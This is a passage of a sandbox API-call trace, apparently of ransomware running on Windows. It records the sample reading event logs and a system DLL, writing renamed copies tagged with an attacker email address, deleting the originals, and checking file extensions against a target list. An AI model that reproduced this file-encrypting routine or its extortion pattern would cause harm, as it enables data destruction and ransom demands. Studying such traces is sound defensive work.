[0152.830] SetEndOfFile (hFile=0x1088) returned 1 [0152.830] CloseHandle (hObject=0x1088) returned 1 [0153.572] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.572] SetEndOfFile (hFile=0x10dc) returned 1 [0153.573] CloseHandle (hObject=0x10dc) returned 1 [0153.573] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0153.574] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0153.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.574] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.574] lstrlenW (lpString=".doc") returned 4 [0153.574] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.574] lstrlenW (lpString=".docx") returned 5 [0153.574] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.574] lstrlenW (lpString=".pdf") returned 4 [0153.575] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString=".xls") returned 4 [0153.575] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString=".xlsx") returned 5 [0153.575] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.575] lstrlenW (lpString=".ppt") returned 4 [0153.575] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.575] lstrlenW (lpString=".zip") returned 4 [0153.575] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString=".rar") returned 4 [0153.575] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString=".bz2") returned 4 [0153.575] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString=".7z") returned 3 [0153.575] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.575] lstrlenW (lpString=".dbf") returned 4 [0153.575] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.575] lstrlenW (lpString=".1cd") returned 4 [0153.575] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.575] lstrlenW (lpString=".jpg") returned 4 [0153.575] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.576] lstrlenW (lpString=".doc") returned 4 [0153.576] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString=".docx") returned 5 [0153.576] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.576] lstrlenW (lpString=".pdf") returned 4 [0153.576] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString=".xls") returned 4 [0153.576] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString=".xlsx") returned 5 [0153.576] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.576] lstrlenW (lpString=".ppt") returned 4 [0153.576] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.576] lstrlenW (lpString=".zip") returned 4 [0153.576] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString=".rar") returned 4 [0153.576] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.576] lstrlenW (lpString=".bz2") returned 4 [0153.577] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.577] lstrlenW (lpString=".7z") returned 3 [0153.577] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.577] lstrlenW (lpString=".dbf") returned 4 [0153.577] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.577] lstrlenW (lpString=".1cd") returned 4 [0153.577] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0153.577] lstrlenW (lpString=".jpg") returned 4 [0153.577] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.577] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0153.577] lstrlenW (lpString="Setup.evtx") returned 10 [0153.577] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0153.578] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0153.578] CloseHandle (hObject=0x10dc) returned 1 [0153.578] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0153.578] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0153.578] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0153.578] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.578] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.578] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0153.579] GetLastError () returned 0x0 [0153.579] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0153.598] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0153.600] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.600] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xe8, lpOverlapped=0x0) returned 1 [0153.601] SetEndOfFile (hFile=0x1088) returned 1 [0153.601] CloseHandle (hObject=0x1088) returned 1 [0153.605] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.605] SetEndOfFile (hFile=0x10dc) returned 1 [0153.607] CloseHandle (hObject=0x10dc) returned 1 [0153.607] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0153.607] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0153.608] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.608] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.608] lstrlenW (lpString=".doc") returned 4 [0153.608] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString=".docx") returned 5 [0153.608] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.608] lstrlenW (lpString=".pdf") returned 4 [0153.608] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString=".xls") returned 4 [0153.608] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString=".xlsx") returned 5 [0153.608] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.608] lstrlenW (lpString=".ppt") returned 4 [0153.608] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.608] lstrlenW (lpString=".zip") returned 4 [0153.608] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString=".rar") returned 4 [0153.608] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString=".bz2") returned 4 [0153.608] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.608] lstrlenW (lpString=".7z") returned 3 [0153.609] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.609] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.609] lstrlenW (lpString=".dbf") returned 4 [0153.609] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.609] lstrlenW (lpString=".1cd") returned 4 [0153.609] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.609] lstrlenW (lpString=".jpg") returned 4 [0153.609] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.609] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.609] lstrlenW (lpString=".doc") returned 4 [0153.609] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString=".docx") returned 5 [0153.609] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.609] lstrlenW (lpString=".pdf") returned 4 [0153.609] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString=".xls") returned 4 [0153.609] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString=".xlsx") returned 5 [0153.609] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.609] lstrlenW (lpString=".ppt") returned 4 [0153.609] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.609] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.609] lstrlenW (lpString=".zip") returned 4 [0153.610] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.610] lstrlenW (lpString=".rar") returned 4 [0153.610] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.610] lstrlenW (lpString=".bz2") returned 4 [0153.610] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.610] lstrlenW (lpString=".7z") returned 3 [0153.610] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.610] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.610] lstrlenW (lpString=".dbf") returned 4 [0153.610] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.610] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.610] lstrlenW (lpString=".1cd") returned 4 [0153.610] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.610] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0153.610] lstrlenW (lpString=".jpg") returned 4 [0153.610] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.610] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0153.610] lstrlenW (lpString="System.evtx") returned 11 [0153.610] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0153.623] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=1118208) returned 1 [0153.623] CloseHandle (hObject=0x10dc) returned 1 [0153.623] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0153.623] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\system.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0153.623] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0153.623] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.623] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.624] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\system.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0153.624] GetLastError () returned 0x0 [0153.624] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0154.546] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0155.065] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11010, lpOverlapped=0x0) returned 1 [0155.219] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11020, lpOverlapped=0x0) returned 1 [0155.223] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.223] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xea, lpOverlapped=0x0) returned 1 [0155.223] SetEndOfFile (hFile=0x1088) returned 1 [0155.223] CloseHandle (hObject=0x1088) returned 1 [0155.878] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.878] SetEndOfFile (hFile=0x10dc) returned 1 [0155.879] CloseHandle (hObject=0x10dc) returned 1 [0155.879] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.879] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0155.880] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.880] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.880] lstrlenW (lpString=".doc") returned 4 [0155.880] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString=".docx") returned 5 [0155.880] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.880] lstrlenW (lpString=".pdf") returned 4 [0155.880] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString=".xls") returned 4 [0155.880] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString=".xlsx") returned 5 [0155.880] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.880] lstrlenW (lpString=".ppt") returned 4 [0155.880] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.880] lstrlenW (lpString=".zip") returned 4 [0155.880] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString=".rar") returned 4 [0155.880] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString=".bz2") returned 4 [0155.880] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString=".7z") returned 3 [0155.880] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.880] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.880] lstrlenW (lpString=".dbf") returned 4 [0155.880] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.880] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.880] lstrlenW (lpString=".1cd") returned 4 [0155.881] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.881] lstrlenW (lpString=".jpg") returned 4 [0155.881] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.881] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.881] lstrlenW (lpString=".doc") returned 4 [0155.881] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString=".docx") returned 5 [0155.881] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.881] lstrlenW (lpString=".pdf") returned 4 [0155.881] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString=".xls") returned 4 [0155.881] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString=".xlsx") returned 5 [0155.881] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.881] lstrlenW (lpString=".ppt") returned 4 [0155.881] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.881] lstrlenW (lpString=".zip") returned 4 [0155.881] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString=".rar") returned 4 [0155.881] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString=".bz2") returned 4 [0155.881] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString=".7z") returned 3 [0155.881] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.881] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.881] lstrlenW (lpString=".dbf") returned 4 [0155.881] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.881] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.882] lstrlenW (lpString=".1cd") returned 4 [0155.882] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.882] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0155.882] lstrlenW (lpString=".jpg") returned 4 [0155.882] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.882] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0155.882] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0155.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0155.883] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=23232) returned 1 [0155.883] CloseHandle (hObject=0x10dc) returned 1 [0155.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0155.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0155.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0155.883] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.883] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0155.884] GetLastError () returned 0x0 [0155.884] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0155.907] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0155.909] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.909] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x116, lpOverlapped=0x0) returned 1 [0155.909] SetEndOfFile (hFile=0x1088) returned 1 [0155.909] CloseHandle (hObject=0x1088) returned 1 [0155.913] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.913] SetEndOfFile (hFile=0x10dc) returned 1 [0155.914] CloseHandle (hObject=0x10dc) returned 1 [0155.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.915] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0155.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.915] lstrlenW (lpString=".doc") returned 4 [0155.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.915] lstrlenW (lpString=".docx") returned 5 [0155.915] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.915] lstrlenW (lpString=".pdf") returned 4 [0155.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.915] lstrlenW (lpString=".xls") returned 4 [0155.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.915] lstrlenW (lpString=".xlsx") returned 5 [0155.915] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.916] lstrlenW (lpString=".ppt") returned 4 [0155.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.916] lstrlenW (lpString=".zip") returned 4 [0155.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.916] lstrlenW (lpString=".rar") returned 4 [0155.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.916] lstrlenW (lpString=".bz2") returned 4 [0155.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.916] lstrlenW (lpString=".7z") returned 3 [0155.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.916] lstrlenW 